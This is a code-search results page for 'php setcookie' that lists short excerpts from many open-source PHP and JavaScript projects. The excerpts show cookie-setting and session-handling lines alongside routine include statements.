PageRenderTime 524ms queryTime 26ms sortTime 5ms getByIdsTime 81ms findMatchingLines 38ms

100+ results results for 'php setcookie' (524 ms)

Not the results you expected?
ClientTest.php https://gitlab.com/techniconline/kmc | PHP | 177 lines
                    
1<?php
                    
2
                    
20
                    
21class ClientTest extends \PHPUnit_Framework_TestCase
                    
22{
                    
64        $response = new Response();
                    
65        $response->headers->setCookie(new Cookie('foo', 'bar', \DateTime::createFromFormat('j-M-Y H:i:s T', '15-Feb-2009 20:00:00 GMT')->format('U'), '/foo', 'http://example.com', true, true));
                    
66        $domResponse = $m->invoke($client, $response);
                    
69        $response = new Response();
                    
70        $response->headers->setCookie(new Cookie('foo', 'bar', \DateTime::createFromFormat('j-M-Y H:i:s T', '15-Feb-2009 20:00:00 GMT')->format('U'), '/foo', 'http://example.com', true, true));
                    
71        $response->headers->setCookie(new Cookie('foo1', 'bar1', \DateTime::createFromFormat('j-M-Y H:i:s T', '15-Feb-2009 20:00:00 GMT')->format('U'), '/foo', 'http://example.com', true, true));
                    
                
login.php https://gitlab.com/LibreTitan/Panther | PHP | 297 lines
                    
1<?php
                    
2/**
                    
13	define('PANTHER_ROOT', __DIR__.'/');
                    
14	require PANTHER_ROOT.'include/common.php';
                    
15}
                    
19
                    
20// Load the login.php language file
                    
21require PANTHER_ROOT.'lang/'.$panther_user['language'].'/login.php';
                    
100			if (!defined('FORUM_CACHE_FUNCTIONS_LOADED'))
                    
101				require PANTHER_ROOT.'include/cache.php';
                    
102
                    
113		$expire = ($save_pass == '1') ? time() + 1209600 : time() + $panther_config['o_timeout_visit'];
                    
114		panther_setcookie($cur_user['id'], $cur_user['login_key'], $expire);
                    
115
                    
118
                    
119		// Try to determine if the data in redirect_url is valid (if not, we redirect to index.php after login)
                    
120		$redirect_url = validate_redirect($_POST['redirect_url'], panther_link($panther_url['index']));
                    
                
c3.php https://gitlab.com/panace/public | PHP | 234 lines
                    
1<?php
                    
2// @codingStandardsIgnoreFile
                    
28if (!class_exists('\\Codeception\\Codecept')) {
                    
29    if (stream_resolve_include_path(__DIR__ . '/vendor/autoload.php')) {
                    
30        require_once __DIR__ . '/vendor/autoload.php';
                    
31    } elseif (file_exists(__DIR__ . '/codecept.phar')) {
                    
32        require_once 'phar://'.__DIR__ . '/codecept.phar/autoload.php';
                    
33    } elseif (stream_resolve_include_path('Codeception/autoload.php')) {
                    
33    } elseif (stream_resolve_include_path('Codeception/autoload.php')) {
                    
34        require_once 'Codeception/autoload.php';
                    
35    } else {
                    
66
                    
67    function __c3_build_html_report(PHP_CodeCoverage $codeCoverage, $path)
                    
68    {
                    
68    {
                    
69        $writer = new PHP_CodeCoverage_Report_HTML();
                    
70        $writer->process($codeCoverage, $path . 'html');
                    
                
base.php https://gitlab.com/endomorphosis/falkenstein | PHP | 293 lines
                    
1<?php
                    
2
                    
273			$comment_cookie_lifetime = apply_filters( 'comment_cookie_lifetime', 30000000 );
                    
274			setcookie( 'comment_author_'       . COOKIEHASH, $comment->comment_author, time() + $comment_cookie_lifetime,              COOKIEPATH, COOKIE_DOMAIN );
                    
275			setcookie( 'comment_author_email_' . COOKIEHASH, $comment->comment_author_email, time() + $comment_cookie_lifetime,        COOKIEPATH, COOKIE_DOMAIN );
                    
275			setcookie( 'comment_author_email_' . COOKIEHASH, $comment->comment_author_email, time() + $comment_cookie_lifetime,        COOKIEPATH, COOKIE_DOMAIN );
                    
276			setcookie( 'comment_author_url_'   . COOKIEHASH, esc_url($comment->comment_author_url), time() + $comment_cookie_lifetime, COOKIEPATH, COOKIE_DOMAIN );
                    
277		}
                    
                
em-notices.php https://gitlab.com/pankajmohale/chef2go | PHP | 251 lines
                    
1<?php
                    
2    /**
                    
24		        		$this->notices = $notices;
                    
25		        		setcookie('em_notices', '', time() - 3600, COOKIEPATH, COOKIE_DOMAIN, is_ssl(), true); //unset the cookie
                    
26	        	    }
                    
45	            if(count($this->notices['errors']) > 0 || count($this->notices['alerts']) > 0 || count($this->notices['infos']) > 0 || count($this->notices['confirms']) > 0){
                    
46	            	setcookie('em_notices', base64_encode(json_encode($this->notices)), time() + 30, COOKIEPATH, COOKIE_DOMAIN, is_ssl(), true); //sets cookie for 30 seconds, which may be too much
                    
47	            }
                    
                
prepend.inc.php http://scalr.googlecode.com/svn/ | PHP | 308 lines
                    
84	require_once(SRCPATH."/class.Debug.php");
                    
85	require_once(SRCPATH."/class.TaskQueue.php");
                    
86	require_once(SRCPATH."/class.FarmTerminationOptions.php");
                    
115	Core::Load("UI/Smarty/Smarty.class.php", LIBPATH);
                    
116	Core::Load("UI/Smarty/Smarty_Compiler.class.php", LIBPATH);		
                    
117	Core::Load("NET/Mail/PHPMailer");
                    
117	Core::Load("NET/Mail/PHPMailer");
                    
118	Core::Load("NET/Mail/PHPSmartyMailer");
                    
119	Core::Load("Data/Formater/Formater");
                    
188	// Define log4php contants
                    
189	define("LOG4PHP_DIR", LIBPATH.'/IO/Logging/log4php/src/main/php');
                    
190	define("LOG4PHP_CONFIGURATION", APPPATH.'/etc/log4php.xml');
                    
203
                    
204	require_once(LOG4PHP_DIR . '/LoggerManager.php');
                    
205		
                    
                
cookies_test.php https://gitlab.com/x33n/platform | PHP | 227 lines
                    
1<?php
                    
2// $Id: cookies_test.php 1506 2007-05-07 00:58:03Z lastcraft $
                    
2// $Id: cookies_test.php 1506 2007-05-07 00:58:03Z lastcraft $
                    
3require_once(dirname(__FILE__) . '/../autorun.php');
                    
4require_once(dirname(__FILE__) . '/../cookies.php');
                    
108        $jar = new SimpleCookieJar();
                    
109        $jar->setCookie("a", "A");
                    
110        $this->assertEqual($jar->selectAsPairs(new SimpleUrl('/')), array('a=A'));
                    
114        $jar = new SimpleCookieJar();
                    
115        $jar->setCookie('a', 'A', 'my-host.com');
                    
116        $jar->setCookie('b', 'B', 'another-host.com');
                    
116        $jar->setCookie('b', 'B', 'another-host.com');
                    
117        $jar->setCookie('c', 'C');
                    
118        $this->assertEqual(
                    
136        $jar = new SimpleCookieJar();
                    
137        $jar->setCookie('a', 'A', false, '/path/');
                    
138        $this->assertEqual($jar->selectAsPairs(new SimpleUrl('/')), array());
                    
                
conversation_start.php git://github.com/Program-O/Program-O.git | PHP | 268 lines
                    
1<?php
                    
2
                    
23require_once(_LIB_PATH_ . 'PDO_functions.php');
                    
24/** @noinspection PhpIncludeInspection */
                    
25include_once(_LIB_PATH_ . "error_functions.php");
                    
25include_once(_LIB_PATH_ . "error_functions.php");
                    
26/** @noinspection PhpIncludeInspection */
                    
27include_once(_LIB_PATH_ . 'misc_functions.php');
                    
42$pgoVersion = VERSION;
                    
43$phpVersion = phpversion();
                    
44$serverSoftware = $_SERVER['SERVER_SOFTWARE'];
                    
48  Server Software:              $serverSoftware
                    
49  PHP Version:                  $phpVersion
                    
50  OS:                           $os
                    
60//load all the user functions
                    
61/** @noinspection PhpIncludeInspection */
                    
62include_once(_BOTCORE_PATH_ . "conversation" . $path_separator . "load_convofunctions.php");
                    
                
SetCookie.php https://gitlab.com/x33n/respond | PHP | 373 lines
                    
1<?php
                    
2namespace GuzzleHttp\Cookie;
                    
8 */
                    
9class SetCookie implements ToArrayInterface
                    
10{
                    
27    /**
                    
28     * Create a new SetCookie object from a string
                    
29     *
                    
                
albumtree_block_dtree.html.php git://github.com/gallery/gallery3-contrib.git | PHP | 414 lines
                    
1<?php defined("SYSPATH") or die("No direct script access.") ?>
                    
2<script type="text/javascript">
                    
188		this.selectedNode = id;
                    
189		if (this.config.useCookies) this.setCookie('cs' + this.obj, cn.id);
                    
190	}
                    
273	var yesterday = new Date(now.getTime() - 1000 * 60 * 60 * 24);
                    
274	this.setCookie('co'+this.obj, 'cookieValue', yesterday);
                    
275	this.setCookie('cs'+this.obj, 'cookieValue', yesterday);
                    
278// [Cookie] Sets value in a cookie
                    
279dTree.prototype.setCookie = function(cookieName, cookieValue, expires, path, domain, secure) {
                    
280	path = path || this.config.cookiePath;
                    
311	}
                    
312	this.setCookie('co' + this.obj, str);
                    
313};
                    
370function albumSelect_goToNode(nodeId) {
                    
371document.location = new String('main.php?g2_itemId=__ID__').replace('__ID__', nodeId);
                    
372}
                    
                
paypal-return-in-web-accept-sp.inc.php https://gitlab.com/Gashler/sg | PHP | 148 lines
                    
1<?php
                    
2/**
                    
71
                    
72						setcookie('s2member_sp_tracking', ($s2member_sp_tracking = c_ws_plugin__s2member_utils_encryption::encrypt($paypal['txn_id'])), time() + 31556926, COOKIEPATH, COOKIE_DOMAIN).setcookie('s2member_sp_tracking', $s2member_sp_tracking, time() + 31556926, SITECOOKIEPATH, COOKIE_DOMAIN).($_COOKIE['s2member_sp_tracking'] = $s2member_sp_tracking);
                    
73
                    
                
BasketController.php https://gitlab.com/NickZP/virtuozz.pp.ua | PHP | 134 lines
                    
1<?php
                    
2
                    
105        
                    
106        SetCookie("basket","");
                    
107        
                    
                
cls_session.php https://bitbucket.org/huanteng/touyou.git | PHP | 290 lines
                    
1<?php
                    
2
                    
12 * $Author: liubo $
                    
13 * $Id: cls_session.php 17217 2011-01-19 06:29:08Z liubo $
                    
14*/
                    
115
                    
116            setcookie($this->session_name, $this->session_id . $this->gen_session_key($this->session_id), 0, $this->session_cookie_path, $this->session_cookie_domain, $this->session_cookie_secure);
                    
117        }
                    
264
                    
265        setcookie($this->session_name, $this->session_id, 1, $this->session_cookie_path, $this->session_cookie_domain, $this->session_cookie_secure);
                    
266
                    
                
cookie.php https://gitlab.com/hakimkal/evricaevents | PHP | 474 lines
                    
1<?php
                    
2/**
                    
4 *
                    
5 * PHP versions 4 and 5
                    
6 *
                    
6 *
                    
7 * CakePHP(tm) : Rapid Development Framework (http://cakephp.org)
                    
8 * Copyright 2005-2010, Cake Software Foundation, Inc. (http://cakefoundation.org)
                    
13 * @copyright     Copyright 2005-2010, Cake Software Foundation, Inc. (http://cakefoundation.org)
                    
14 * @link          http://cakephp.org CakePHP(tm) Project
                    
15 * @package       cake
                    
16 * @subpackage    cake.cake.libs.controller.components
                    
17 * @since         CakePHP(tm) v 1.2.0.4213
                    
18 * @license       MIT License (http://www.opensource.org/licenses/mit-license.php)
                    
32 * @subpackage    cake.cake.libs.controller.components
                    
33 * @link http://book.cakephp.org/view/1280/Cookies
                    
34 *
                    
                
PHPWebdriverTest.php http://php-webdriver-bindings.googlecode.com/svn/trunk/ | PHP | 282 lines
                    
1<?php
                    
2
                    
2
                    
3if(is_file('../definedVars.php')) require_once '../definedVars.php';
                    
4require_once 'phpwebdriver/WebDriver.php';
                    
11 */
                    
12class PHPWebDriverTest extends PHPUnit_Framework_TestCase {
                    
13
                    
136        $this->webdriver->get(TEST_URL);
                    
137    $this->webdriver->setCookie('aaa','testvalue'); 
                    
138        $cookies = $this->webdriver->getAllCookies();
                    
                
db_operations.php https://gitlab.com/jmcdowall/transactions | PHP | 315 lines
                    
1<?php
                    
2/* vim: set expandtab sw=4 ts=4 sts=4: */
                    
11 *
                    
12 * @package PhpMyAdmin
                    
13 */
                    
18 */
                    
19require_once 'libraries/common.inc.php';
                    
20require_once 'libraries/mysql_charsets.inc.php';
                    
20require_once 'libraries/mysql_charsets.inc.php';
                    
21require_once 'libraries/display_create_table.lib.php';
                    
22
                    
25 */
                    
26require_once 'libraries/check_user_privileges.lib.php';
                    
27require_once 'libraries/operations.lib.php';
                    
71
                    
72        include_once "libraries/plugin_interface.lib.php";
                    
73        // remove all foreign key constraints, otherwise we can get errors
                    
                
ResponseHeaderBag.php https://gitlab.com/fbi/web | PHP | 234 lines
                    
1<?php
                    
2
                    
126     */
                    
127    public function setCookie(Cookie $cookie)
                    
128    {
                    
199    {
                    
200        $this->setCookie(new Cookie($name, null, 1, $path, $domain));
                    
201    }
                    
                
pluggable-deprecated.php https://gitlab.com/edgarze188/sunrise | PHP | 192 lines
                    
1<?php
                    
2/**
                    
10 * @subpackage Deprecated
                    
11 * @see pluggable.php
                    
12 */
                    
72
                    
73if ( !function_exists('wp_setcookie') ) :
                    
74/**
                    
88 */
                    
89function wp_setcookie($username, $password = '', $already_md5 = false, $home = '', $siteurl = '', $remember = false) {
                    
90	_deprecated_function( __FUNCTION__, '2.5', 'wp_set_auth_cookie()' );
                    
94else :
                    
95	_deprecated_function( 'wp_setcookie', '2.5', 'wp_set_auth_cookie()' );
                    
96endif;
                    
174 *
                    
175 * Originally stored in wp-app.php, and later wp-includes/class-wp-atom-server.php.
                    
176 * It is kept here in case a plugin directly referred to the class.
                    
                
HproseHttpClient.php https://gitlab.com/fangfangchen/xianpipa | PHP | 314 lines
                    
1<?php
                    
2/**********************************************************\
                    
13 *                                                        *
                    
14 * HproseHttpClient.php                                   *
                    
15 *                                                        *
                    
15 *                                                        *
                    
16 * hprose http client library for php5.                   *
                    
17 *                                                        *
                    
22
                    
23require_once('HproseCommon.php');
                    
24require_once('HproseIO.php');
                    
24require_once('HproseIO.php');
                    
25require_once('HproseClient.php');
                    
26
                    
45    }
                    
46    protected function setCookie($headers) {
                    
47        foreach ($headers as $header) {
                    
                
sfCacheSessionStorage.class.php https://github.com/openpne/OpenPNE3.git | PHP | 290 lines
                    
1<?php
                    
2
                    
112       // only send cookie when id is issued
                    
113       $this->response->setCookie($this->options['session_name'],
                    
114                                  $this->id.':'.sha1($this->id.':'.$this->options['session_cookie_secret']),
                    
247    // update session id in signed cookie
                    
248    $this->response->setCookie($this->options['session_name'],
                    
249                               $this->id.':'.sha1($this->id.':'.$this->options['session_cookie_secret']),
                    
                
Secret.php git://pkgs.fedoraproject.org/horde | PHP | 197 lines
                    
1<?php
                    
2/**
                    
8 *
                    
9 * $Horde: framework/Secret/Secret.php,v 1.45.10.14 2009/01/06 15:23:34 jan Exp $
                    
10 *
                    
70
                    
71        require_once 'Horde/Util.php';
                    
72        if (Util::extensionExists('mcrypt')) {
                    
95        if (!isset($cache[$cacheIdx])) {
                    
96            require_once 'Horde/Cipher.php';
                    
97
                    
124                $_COOKIE[$keyname . '_key'] = $key;
                    
125                Secret::_setCookie($keyname, $key);
                    
126            }
                    
128            $key = session_id();
                    
129            Secret::_setCookie($keyname, $key);
                    
130        }
                    
                
user.php http://speedcms.googlecode.com/svn/trunk/ | PHP | 170 lines
                    
1<?php
                    
2if (!defined('SPEEDCMS')) { exit(1);}
                    
2if (!defined('SPEEDCMS')) { exit(1);}
                    
3import ($GLOBALS['spConfig']['controller_path'].'/general.php');
                    
4
                    
113	public function logout(){
                    
114		// ???PHP.net????SESSION???
                    
115		$_SESSION = array();
                    
115		$_SESSION = array();
                    
116		if (isset($_COOKIE[session_name()])) {setcookie(session_name(), '', time()-42000, '/');}
                    
117		session_destroy();
                    
124	public function login(){
                    
125		import("spAcl.php"); // ??Acl?????????????????
                    
126		$userObj = spClass("userModel"); // ???userModel?
                    
                
CUserManager.php https://gitlab.com/BGCX261/zion-downloads-css-svn-to-git.git | PHP | 279 lines
                    
1<?php
                    
2/**
                    
11 * 
                    
12 * @version $Id: CUserManager.php 182 2008-12-18 19:12:19Z smithxxl $
                    
13 * =============================================================================
                    
188	            //Sets cookies
                    
189	            setcookie("aid", $aid, time()+LOGIN_COOKIE_LIFETIME);
                    
190	            setcookie("password", $this->encrypt_password($password), time()+LOGIN_COOKIE_LIFETIME);
                    
190	            setcookie("password", $this->encrypt_password($password), time()+LOGIN_COOKIE_LIFETIME);
                    
191	            setcookie("user", isset($_SESSION['user']['user'])?$_SESSION['user']['user']:null, time()+LOGIN_COOKIE_LIFETIME);
                    
192	        }
                    
194	        {
                    
195	        	setcookie("aid", $aid);
                    
196	            setcookie("password", $this->encrypt_password($password));
                    
196	            setcookie("password", $this->encrypt_password($password));
                    
197	            setcookie("user", $_SESSION['user']['user']);
                    
198	        }
                    
                
Session.php https://gitlab.com/igorbabko/mindk | PHP | 207 lines
                    
1<?php
                    
2/**
                    
2/**
                    
3 * File /framework/session/Session.php contains Session class to easily manipulate
                    
4 * with session variables.
                    
5 *
                    
6 * PHP version 5
                    
7 *
                    
107            $params = session_get_cookie_params();
                    
108            setcookie(
                    
109                session_name(),
                    
                
index.php https://gitlab.com/bkrpage/php-Login-System | PHP | 167 lines
                    
27				there is a working version at <a href="http://student20352.201415.uk">my University sub-domain</a>.</p>
                    
28<?php
                    
29		if ($_GET['successfulReset']){
                    
66				$uid = "i7709331"; 
                    
67				$pwd = "phppass"; 
                    
68				$host = "127.0.0.1";
                    
100				$uid = "i7709331"; 
                    
101				$pwd = "phppass"; 
                    
102				$host = "127.0.0.1";
                    
126					
                    
127					header('Location: control_panel.php');
                    
128				} 
                    
162	<footer>
                    
163		<div id="github"> This site was made by Bradley Page using PHP and MySQLi. To see the working innards as well as my other projects, check out my <a href="https://github.com/bkrpage/php-Login-System">Github Repo</a>! </div>
                    
164	</footer>
                    
                
profile.php http://esglobalban.googlecode.com/svn/trunk/ | PHP | 246 lines
                    
172  			<td class="rowColor2"><input name="steamId" id="steamdId" type="text" value="<?=$user->getSteamId()?>" size="25" maxlength="25"/> (must be in <b>STEAM_X:X:XXXXXX</b> format)
                    
173  			<?php if(!$valid['steamId']) { ?><span class="error">Steam ID not in vaild format</span><?php } ?></td>
                    
174  		<tr>
                    
181  			<td class="rowColor2"><input type="password" name="curPassword" value="" size="25" maxlength="25"/>
                    
182  			<?php if(!$valid['curPassword']) { ?><span class="error">Enter a valid password</span><?php } ?></td>
                    
183  		</tr>
                    
213  			<td class="rowColor1"><input type="password" name="cpassword" value="" size="25" maxlength="25"/>
                    
214  			<?php if(!$valid['cpassword']) { ?><span class="error">Enter a valid password</span><?php } ?></td>
                    
215  		</tr>
                    
218  			<td class="rowColor2"><input type="password" name="npassword" value="" size="25" maxlength="25"/>
                    
219  			<?php if(!$valid['npassword']) { ?><span class="error">Enter a valid password</span><?php } ?></td>
                    
220  		</tr>
                    
223  			<td class="rowColor1"><input type="password" name="vpassword" value="" size="25" maxlength="25"/>
                    
224  			<?php if(!$valid['vpassword']) { ?><span class="error">Password mis-match</span><?php } ?></td>
                    
225  		</tr>
                    
                
ch02s09.html https://gitlab.com/komputer007123/cpulogger | HTML | 78 lines
                    
10          <code class="code">xmlrpc_client::setRequestCompression()</code>). Note that the
                    
11          ZLIB php extension needs to be enabled in PHP to support
                    
12          compression.</p></li><li><p>Implement HTTP 1.1 connections, but only if CURL is enabled
                    
40          trough all members: <code class="code">xmlrpcval::structMemExists()</code></p></li><li><p>Expand methods <code class="code">xmlrpcval::addArray</code>,
                    
41          <code class="code">addScalar</code> and <code class="code">addStruct</code> allowing extra php
                    
42          values to be added to xmlrpcval objects already formed.</p></li><li><p>Let the <code class="code">xmlrpc_client::send</code> method accept an XML
                    
44          debugging and integration with the php native xmlrpc
                    
45          extension</p></li><li><p>Extend the <code class="code">php_xmlrpc_encode</code> and
                    
46          <code class="code">php_xmlrpc_decode</code> functions to allow serialization and
                    
57          parameter to both <code class="code">php_xmlrpc_encode</code> and
                    
58          <code class="code">php_xmlrpc_decode</code>.</p></li><li><p>Extend the <code class="code">php_xmlrpc_encode</code> function to allow
                    
59          automatic serialization of iso8601-conforming php strings as
                    
64          and has many caveats, with php being a typeless language and
                    
65          all...</p><p>With PHP versions lesser than 5.0.3 wrapping of php functions
                    
66          into xmlrpc methods is not supported yet.</p></li><li><p>Allow object methods to be used in server dispatch map</p></li><li><p>Added a complete debugger solution, in the
                    
                
Login.php https://github.com/bng5/CMS.git | PHP | 159 lines
                    
1<?php
                    
2
                    
26        session_unset();
                    
27        setcookie("pase", "", 0, '/');
                    
28        setcookie("sesion", "", 0, '/');
                    
36        //$this->cerrar_sesion();
                    
37        //header("Location: ".substr($_SERVER['PHP_SELF'], 0, -4));
                    
38        //exit;
                    
82                $expira = $_POST['recordarme'] ? time() + 2592000 : 0; //60*60*24*30
                    
83                setcookie("usuario", $fila['usuario'], $expira, "/"); //, ".".DOMINIO);
                    
84                setcookie("pase", $pase, $expira, "/", false, false, true); //, ".".DOMINIO);
                    
124                $mysqli->query("UPDATE usuarios SET `pase` = '{$pase}' WHERE id = {$fila['id']}");
                    
125                setcookie("pase", $pase, time() + 2592000, "/", false, false, true); //, ".".DOMINIO);
                    
126                do {
                    
                
Soap.php https://gitlab.com/crazybutterfly815/magento2 | PHP | 241 lines
                    
1<?php
                    
2/**
                    
67     *
                    
68     * @param string $serviceInfo PHP service interface name, should include version if present
                    
69     * @param string|null $storeCode
                    
103        if (TESTS_XDEBUG_ENABLED) {
                    
104            $soapClient->setCookie('XDEBUG_SESSION', 1);
                    
105        }
                    
131
                    
132        /** TESTS_BASE_URL is initialized in PHPUnit configuration */
                    
133        $wsdlUrl = rtrim(TESTS_BASE_URL, '/') . self::WSDL_BASE_PATH . '/' . $storeCode . '?wsdl=1&services=';
                    
                
util.php https://bitbucket.org/dt167glabgroup3/part2.git | PHP | 326 lines
                    
1<?php
                    
2/*******************************************************************************
                    
3 * Projekt, Kurs: DT16/G
                    
4 * File: util.php
                    
5 * Desc: Util file for Projekt
                    
72	    $params = session_get_cookie_params();
                    
73	    setcookie(session_name(), '', time() - 42000,
                    
74	        $params["path"], $params["domain"],
                    
                
ACloudSysCoreCommon.php https://gitlab.com/wuhang2003/phpwind | PHP | 250 lines
                    
1<?php
                    
2! defined ( 'ACLOUD_PATH' ) && exit ( 'Forbidden' );
                    
98			$ua = substr ( md5 ( $_SERVER ['HTTP_USER_AGENT'] . '\t' . rand ( 1000, 9999 ) . '\t' . time () ), 8, 18 );
                    
99			setcookie ( $key, $ua, time () + 86400 * 365 * 5 );
                    
100		}
                    
                
test_server.h https://gitlab.com/iranjith4/hhvm | C Header | 149 lines
                    
2   +----------------------------------------------------------------------+
                    
3   | HipHop for PHP                                                       |
                    
4   +----------------------------------------------------------------------+
                    
6   +----------------------------------------------------------------------+
                    
7   | This source file is subject to version 3.01 of the PHP license,      |
                    
8   | that is bundled with this package in the file LICENSE, and is        |
                    
9   | available through the world-wide-web at the following url:           |
                    
10   | http://www.php.net/license/3_01.txt                                  |
                    
11   | If you did not receive a copy of the PHP license and are unable to   |
                    
12   | obtain it through the world-wide-web, please send a note to          |
                    
13   | license@php.net so we can mail you a copy immediately.               |
                    
14   +----------------------------------------------------------------------+
                    
16
                    
17#ifndef incl_HPHP_TEST_SERVER_H_
                    
18#define incl_HPHP_TEST_SERVER_H_
                    
                
functions.php http://xoopscube-modules.googlecode.com/svn/trunk/ | PHP | 198 lines
                    
1<?php
                    
2// $Id: functions.php,v 1.4 2008/08/28 14:43:24 minahito Exp $
                    
3//  ------------------------------------------------------------------------ //
                    
4//                XOOPS - PHP Content Management System                      //
                    
5//                    Copyright (c) 2000 XOOPS.org                           //
                    
82	}
                    
83	if ( !file_exists('./language/'.$language.'/install.php') ) {
                    
84		$language = 'english';
                    
85	}
                    
86	setcookie('install_lang', $language);
                    
87	return $language;
                    
155function check_language($language){
                    
156    if ( file_exists('./language/'.$language.'/install.php') ) {
                    
157        return $language;
                    
167    if(isset($option[0]) && $option[0] != ''){
                    
168        $content .= '<a href="javascript:void(0);" onclick=\'location.href="index.php?op='.htmlspecialchars($option[0]).'"\' class="back" style="display:inline-block;vertical-align:top;"><img src="img/back.png" alt="'._INSTALL_L42.'"></a>';
                    
169    }else{
                    
                
Default.aspx https://andamanalumini.svn.codeplex.com/svn | ASP.NET | 128 lines
                    
11        //Geolocation data is stored as serialized JSON in a cookie
                    
12        //Bug reports : http://forum.ipinfodb.com/viewforum.php?f=7
                    
13        function geolocate(timezone, cityPrecision, objectVar) {
                    
63                    JSONString = JSON.stringify(answer);
                    
64                    setCookie('geolocation', JSONString, 365);
                    
65                    geodata = answer;
                    
86            //Set the cookie
                    
87            function setCookie(c_name, value, expire) {
                    
88                var exdate = new Date();
                    
                
debug.php https://gitlab.com/edgarze188/sunrise | PHP | 225 lines
                    
1<?php
                    
2
                    
23	$request->setBody(array());
                    
24	$request->setCookies(array());
                    
25	$request->setFileNames(array());
                    
103	<meta charset="UTF-8">
                    
104	<title><?php echo esc_html($title) ?></title>
                    
105	<link rel="stylesheet" href="<?php echo wfUtils::getBaseURL() . 'css/main.css' ?>">
                    
147<div id="wrapper">
                    
148	<h1><?php echo esc_html($title) ?></h1>
                    
149
                    
155		</thead>
                    
156		<?php foreach ($fields as $label => $value): ?>
                    
157			<tr>
                    
157			<tr>
                    
158				<td><?php echo esc_html($label) ?>:</td>
                    
159				<td><?php echo esc_html($value) ?></td>
                    
                
index.php https://bitbucket.org/gwathsule/enterfriend.git | PHP | 250 lines
                    
1<?php 
                    
2// +------------------------------------------------------------------------+
                    
10// +------------------------------------------------------------------------+
                    
11require_once('assets/init.php');
                    
12if ($wo['loggedin'] == true) {
                    
46if (!isset($_COOKIE['src'])) {
                    
47    @setcookie('src', '1', time() + 31556926, '/');
                    
48}
                    
73    case 'maintenance':
                    
74        include('sources/maintenance.php');
                    
75        break;
                    
76    case 'video-call':
                    
77        include('sources/video.php');
                    
78        break;
                    
79    case 'home':
                    
80        include('sources/home.php');
                    
81        break;
                    
                
index.php git://git.savannah.nongnu.org/savane-cleanup.git | PHP | 363 lines
                    
1<?php
                    
2# Manage user preferences
                    
22
                    
23# we need to define the theme before loading the pre.php init script,
                    
24# otherwise the page needs to be reloaded for the change to take effect.
                    
25# see bug #1987
                    
26require_once('../../include/sane.php');
                    
27extract(sane_import('post',
                    
40
                    
41require_once('../../include/init.php');
                    
42require_once('../../include/timezones.php');
                    
61    }
                    
62  setcookie("SV_THEME", $user_theme, time() + 60*60*24*365, $GLOBALS['sys_url_topdir']);
                    
63
                    
139
                    
140print '<form action="'.$_SERVER["PHP_SELF"].'" method="post">';
                    
141
                    
                
remotefilegetter.php https://gitlab.com/myurd/magmi-git | PHP | 348 lines
                    
1<?php
                    
2
                    
99                //fix for some servers not able to follow location & failing downloads
                    
100                //only set follow location if compatible with PHP settings
                    
101                if (ini_get('open_basedir') == '' && ini_get('safe_mode' == 'Off')) {
                    
223    // using cookie
                    
224    public function setCookie($cookie = null)
                    
225    {
                    
                
post.php https://gitlab.com/kath.de/cibedo_cibedo.de | PHP | 287 lines
                    
1<?php
                    
2/**
                    
11/** WordPress Administration Bootstrap */
                    
12require_once( dirname( __FILE__ ) . '/admin.php' );
                    
13
                    
13
                    
14$parent_file = 'edit.php';
                    
15$submenu_file = 'edit.php';
                    
53if ( ! $sendback ||
                    
54     strpos( $sendback, 'post.php' ) !== false ||
                    
55     strpos( $sendback, 'post-new.php' ) !== false ) {
                    
56	if ( 'attachment' == $post_type ) {
                    
57		$sendback = admin_url( 'upload.php' );
                    
58	} else {
                    
58	} else {
                    
59		$sendback = admin_url( 'edit.php' );
                    
60		if ( ! empty( $post_type ) ) {
                    
                
class.PollUser.inc.php http://flaimo-php.googlecode.com/svn/trunk/ | PHP | 154 lines
                    
1<?php
                    
2/**
                    
7*/
                    
8require_once('class.User.inc.php');
                    
9
                    
81		$_COOKIE[$this->commentwritten_varname . $id] = time() + 360;
                    
82		setcookie($this->commentwritten_varname . $id, 1, time() + 360);
                    
83		$_SESSION[$this->commentwritten_varname . $id] = $GLOBALS[$this->commentwritten_varname . $id] = (int) time() +360;
                    
118		$_COOKIE[$this->poll_varname . $id] = $remember_choise;
                    
119		setcookie($this->poll_varname . $id, $remember_choise, time()+31536000);
                    
120		$_SESSION[$this->poll_varname . $id] = $GLOBALS[$this->poll_varname . $id] = $remember_choise;
                    
                
admin.php http://proquiz.googlecode.com/svn/trunk/ | PHP | 158 lines
                    
70<script src="js/jquery.lwtCountdown-1.0.js" type="text/javascript"></script>
                    
71<?php include_once('common_header.php'); ?>
                    
72</head>
                    
83        <div id="menuCenter">
                    
84    	   <?php include_once('menu.php'); ?>
                    
85        </div>
                    
91    <div class="sideCnt">
                    
92        <?php include_once('sidebar.php'); ?>
                    
93    </div>
                    
122		<div class="pqMain">
                    
123	    <?php include_once('adminmenu.php'); ?>
                    
124            <div class="cntHolder">
                    
142	<!-- Footer Include -->
                    
143    <div id="footer"><?php include_once('footer.php'); ?></div> <!-- wrraper End -->
                    
144<script type="text/javascript">
                    
                
app.php https://gitlab.com/YakovLachin/MiMaL | PHP | 182 lines
                    
1<?php
                    
2
                    
2
                    
3require_once __DIR__ . '/../vendor/autoload.php';
                    
4
                    
60        $cookie = new Cookie("Mimal-Access-Token", $token , $expire, '');
                    
61        $response->headers->setCookie($cookie);
                    
62    }
                    
                
helper.php https://github.com/phpbb/phpbb.git | PHP | 413 lines
                    
5 *
                    
6 * @copyright (c) phpBB Limited <https://www.phpbb.com>
                    
7 * @license GNU General Public License, version 2 (GPL-2.0)
                    
110	 */
                    
111	public function __construct(config $config, language $language, language_file_helper $lang_helper, navigation_provider $nav, template $template, path_helper $path_helper, request $phpbb_request, symfony_request $request, router $router, $phpbb_root_path)
                    
112	{
                    
119		$this->path_helper = $path_helper;
                    
120		$this->phpbb_request = $phpbb_request;
                    
121		$this->request = $request;
                    
123		$this->phpbb_root_path = $phpbb_root_path;
                    
124		$this->phpbb_admin_path = $phpbb_root_path . 'adm/';
                    
125	}
                    
256		// Path to templates
                    
257		$paths = array($this->phpbb_root_path . 'install/update/new/adm/', $this->phpbb_admin_path);
                    
258		$paths = array_filter($paths, 'is_dir');
                    
                
adodb-session.php https://gitlab.com/mrktinh/bookonline | PHP | 439 lines
                    
19
                    
20	include('adodb.inc.php');
                    
21	include('adodb-session.php');
                    
29
                    
30	include('adodb.inc.php');
                    
31	include('adodb-session.php');
                    
72  3. Recommended is PHP 4.1.0 or later. There are documented
                    
73	 session bugs in earlier versions of PHP.
                    
74
                    
101if (!defined('_ADODB_LAYER')) {
                    
102	include (dirname(__FILE__).'/adodb.inc.php');
                    
103}
                    
112 /*
                    
113	Thanks Joe Li. See http://phplens.com/lens/lensforum/msgs.php?id=11487&x=1
                    
114*/
                    
                
